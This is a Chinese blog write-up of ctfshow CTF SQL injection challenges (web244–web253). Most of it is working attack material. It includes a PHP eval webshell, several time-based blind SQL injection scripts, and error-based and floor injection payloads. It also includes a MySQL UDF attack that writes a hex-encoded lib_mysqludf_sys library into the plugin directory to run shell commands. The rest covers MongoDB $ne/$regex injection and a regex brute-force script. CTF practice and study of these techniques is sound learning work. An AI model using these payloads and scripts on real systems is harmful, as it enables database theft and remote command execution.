filename=orange.txt' lines starting by "<?=eval($_POST[cmd]);?>"#

这里注意由于过滤了php所以🐎里面也不能使用php,简单的绕过一下就可以了

2024-09-27164204

web244

error报错注入,先简单的进行一下测试注入,是get进行传参,有sleep可以成功,先看看前面的脚本能不能正常使用,进行简单的微调是可以得到flag的,也是时间等一等

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests

dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://414d893d-2ded-40da-9e5f-cb54d1dcb9a6.challenge.ctf.show/api/'

def get_flag_char(index):
for char in dicts:
payload = {
#"id": f"1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(0.1),0)#"
#"id": f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),{index},1)='{char}',sleep(0.1),0)#"
"id": f"1' or if(substr((select flag from ctfshow_flag),{index},1)='{char}',sleep(0.1),0)#"

}
try:
start_time = time.time()
r = requests.get(url=url, params=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None
for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前情况: {flag}")
else:
print("已结束")
break
print(f"最终情况: {flag}")

0x02

利用报错注入

1
?id=0'or (select 1 from (select count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)%23
1
?id=0'or (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web')),0x7e))%23
1
?id=0'or (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flag')),0x7e))%23
1
?id=0'or (select updatexml(1,concat(0x7e,(select flag from ctfshow_flag)),0x7e))%23
1
?id=0'or(select updatexml(1,concat(0x7e,substring((select flag from ctfshow_flag),1),0x7e),0x7e))%23

最后一步是因为第四步不能直接爆出所有的字符,需要微调一下内容,改动1那个位置

0x03

懒得写了,布尔盲注也是可以用的,而且应该比时间盲注快一点


web245

先盲注脚本跑看看

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests

dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://e7e68c52-a18f-469f-b68e-3e790007590b.challenge.ctf.show/api/'

def get_flag_char(index):
for char in dicts:
payload = {
#"id": f"1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(0.1),0)#"
#"id": f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),{index},1)='{char}',sleep(0.1),0)#"
"id": f"1' or if(substr((select flag1 from ctfshow_flagsa),{index},1)='{char}',sleep(0.1),0)#"

}
try:
start_time = time.time()
r = requests.get(url=url, params=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None
for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前情况: {flag}")
else:
print("已结束")
break
print(f"最终情况: {flag}")

0x02

过滤了updatexml,但是extractvalue还是可以正常使用的

1
?id=0'or (select extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))))%23
1
?id=0'or (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagsa'))))%23
1
?id=0'or (select extractvalue(1,concat(0x7e,substring((select flag1 from ctfshow_flagsa),-10))))%23

最后一步也是一样需要微调拼接

web246

先看看盲注

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests

dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
flag = ''
url = 'http://2d7a2d28-52c4-4c83-90c5-1b8381016399.challenge.ctf.show/api/'

def get_flag_char(index):
for char in dicts:
payload = {
#"id": f"1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(0.1),0)#"
#"id": f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flags'),{index},1)='{char}',sleep(0.1),0)#"
"id": f"1' or if(substr((select flag2 from ctfshow_flags),{index},1)='{char}',sleep(0.1),0)#"

}
try:
start_time = time.time()
r = requests.get(url=url, params=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None
for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前情况: {flag}")
else:
print("已结束")
break
print(f"最终情况: {flag}")

0x02

floor注入

1
id=1%27union+select+1,count(*),concat((select+flag2+from+ctfshow_flags),0x7e,floor(rand(0)*2))a+from+ctfshow_user+group+by+a--%20

直接抄的wp,原理基本一致吧

web247

再上题的基础上过滤了floor,继续盲注

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import requests

dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},?'
flag = ''
url = 'http://04452d8b-ead5-40c6-be43-a04620fe4583.challenge.ctf.show/api/'

def get_flag_char(index):
for char in dicts:
payload = {
#"id": f"1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(0.1),0)#"
#"id": f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),{index},1)='{char}',sleep(0.1),0)#"
"id": f"1' or if(substr((SELECT `flag?` FROM ctfshow_flagsa),{index},1)='{char}',sleep(0.1),0)#"

}
try:
start_time = time.time()
r = requests.get(url=url, params=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None
for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前情况: {flag}")
else:
print("已结束")
break
print(f"最终情况: {flag}")

需要注意的是由于有问号,所以需要加反引号

0x02

报错注入可以看网上wp不多赘叙

web248

这方面是知识盲区了,学一下吧

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到 Mysql 中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。udf 文件后缀一般为 dll,由 C、C++ 编写。

1
?id=1';select version();%23

查看版本,大于5.1版本,继续查 plugin 目录

1
?id=0';select @@plugin_dir;%23

得到路径为:/usr/lib/mariadb/plugin/

1
?id=0';select '7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803' into dumpfile '/usr/lib/mariadb/plugin/1.txt'%23
1
?id=0';select load_file('/usr/lib/mariadb/plugin/1.txt')%23

进行查看,然后导入第二部分

1
/api/?id=0';select '000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e' into dumpfile '/usr/lib/mariadb/plugin/2.txt'%23
1
?id=0';select load_file('/usr/lib/mariadb/plugin/2.txt')%23

查看第二部分,导入第三部分

1
/api/?id=0';select '332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000' into dumpfile '/usr/lib/mariadb/plugin/3.txt'%23
1
?id=0';select load_file('/usr/lib/mariadb/plugin/3.txt')%23

查看第三部分

concat 来将这三部分拼接后导入前面得到的路径:/usr/lib/mariadb/plugin/,然后进行合并

1
?id=0';select unhex(concat(load_file('/usr/lib/mariadb/plugin/1.txt'),load_file('/usr/lib/mariadb/plugin/2.txt'),load_file('/usr/lib/mariadb/plugin/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/aaa.so'%23
1
?id=0';create function sys_eval returns string soname 'aaa.so'%23

最后执行

1
?id=0';select sys_eval('ls /')%23
1
?id=0';select sys_eval('tac /f*')%23

web249

猜测应该是后端用的intval校验,存在漏洞,所以传一个数组即可

1
?id[]=flag

web250

MongoDB重言式
在mongodb中,要求的查询语句是json格式,如{"username": "admin", "password": "admin"},在php中,json就是数组,也就是Array('username'=> 'admin', 'password'=> 'admin'),同时MongoDB要求的json格式中,是可以进行条件查询的,如这样的json: {"username": "admin", "password": {"$regex": '^abc$'}},会匹配密码abc,也就是说,如果键对应的值是一个字符串,那么就相当于条件等于,只不过省去了json,如果键对应的值是json对象,就代表是条件查询
payload:
username[$ne]=1&password[$ne]=1

在api/index.php进行post输入

web251

1
username[$ne]=admin&password[$ne]=1

web252

1
username[$ne]=1&password[$regex]=^ctfshow{

web253

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
import time

url = 'http://f3b14984-c112-4eca-aa7c-17c5102a1214.challenge.ctf.show//api/'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = 'ctfshow{'

for j in range(9, 50):
for k in dic:
payload = {'username[$ne]': '1', 'password[$regex]': f'^{out+k}'}
try:
re = requests.post(url, data=payload)
if "\\u767b\\u9646\\u6210\\u529f" in re.text: # 注意反斜杠需要转义
out += k
print(out)
break
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
time.sleep(0.5) # 添加请求间隔

X1r0z师傅真的神!y4师傅真的神!看师傅的博客学到了很多,看来还是要学学算法的,前前后后一共花了七天的时间,有些劳累了。


ctf-sql注入
https://0ran9ewww.github.io/2024/09/23/每日一题/ctfshow-sql注入/
作者
orange
发布于
2024年9月23日
许可协议